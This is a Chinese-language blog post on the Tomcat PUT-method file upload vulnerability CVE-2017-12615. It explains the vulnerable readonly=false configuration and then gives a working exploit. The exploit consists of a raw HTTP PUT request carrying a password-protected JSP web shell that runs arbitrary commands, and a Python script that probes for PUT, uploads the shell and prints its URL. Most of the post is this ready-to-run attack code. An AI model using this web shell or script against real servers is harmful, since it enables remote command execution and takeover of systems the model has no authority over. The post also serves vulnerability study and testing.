Tomcat任意文件上传漏洞CVE-2017-12615

文章来源：https://blog.csdn.net/qq1124794084/article/details/78044756

漏洞影响的tomcat版本为tomcat7.0.0-7.0.81版本

CVE-2017-12615漏洞利用需要在Windows环境，且需要将 readonly 初始化参数由默认值设置为 false，经过实际测试，Tomcat 7.x版本内web.xml配置文件内默认配置无readonly参数，需要手工添加，默认配置条件下不受此漏洞影响。

（另一个类似的漏洞CVE-2017-12616漏洞需要在server.xml文件配置VirtualDirContext参数，经过实际测试，Tomcat 7.x版本内默认配置无VirtualDirContext参数，需要手工添加，默认配置条件下不受此漏洞影响）

以前遇到过很多未禁用不安全的HTTP方法的漏洞，但是都不知道怎么深入利用，终于这次遇到了。

修改Tomcat 7.0/conf/web.xml文件。添加readonly属性，使得readonly=false。（默认的readonly不为false）
<servlet>
  <servlet-name>default</servlet-name>
  <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
  <init-param>
  <param-name>debug</param-name>
  <param-value>0</param-value>
  </init-param>
  <init-param>
  <param-name>listings</param-name>
  <param-value>false</param-value>
  </init-param>
  <init-param>
  <param-name>readonly</param-name>
  <param-value>false</param-value>
  </init-param>
  <load-on-startup>1</load-on-startup>
</servlet>

使用burp发送put请求上传一句话木马，内容如下：

PUT /123.jsp/ HTTP/1.1
Host: 192.168.23.209:8080
User-Agent: JNTASS
DNT:1
Connection: close
Content-Length: 664

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

python脚本

#! -*- coding:utf-8 -*-
import httplib
import sys
import time
body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
try:
    conn = httplib.HTTPConnection(sys.argv[1])
    conn.request(method='OPTIONS', url='/ffffzz')
    headers = dict(conn.getresponse().getheaders())
    if 'allow' in headers and
       headers['allow'].find('PUT') > 0 :
        conn.close()
        conn = httplib.HTTPConnection(sys.argv[1])
        url = "/" + str(int(time.time()))+'.jsp/'
        #url = "/" + str(int(time.time()))+'.jsp::$DATA'
        conn.request( method='PUT', url= url, body=body)
        res = conn.getresponse()
        if res.status == 201 :
            #print 'shell:', 'http://' + sys.argv[1] + url[:-7]
            print 'shell:', 'http://' + sys.argv[1] + url[:-1]
        elif res.status == 204 :
            print 'file exists'
        else:
            print 'error'
        conn.close()
    else:
        print 'Server not vulnerable'

except Exception,e:
    print 'Error:', e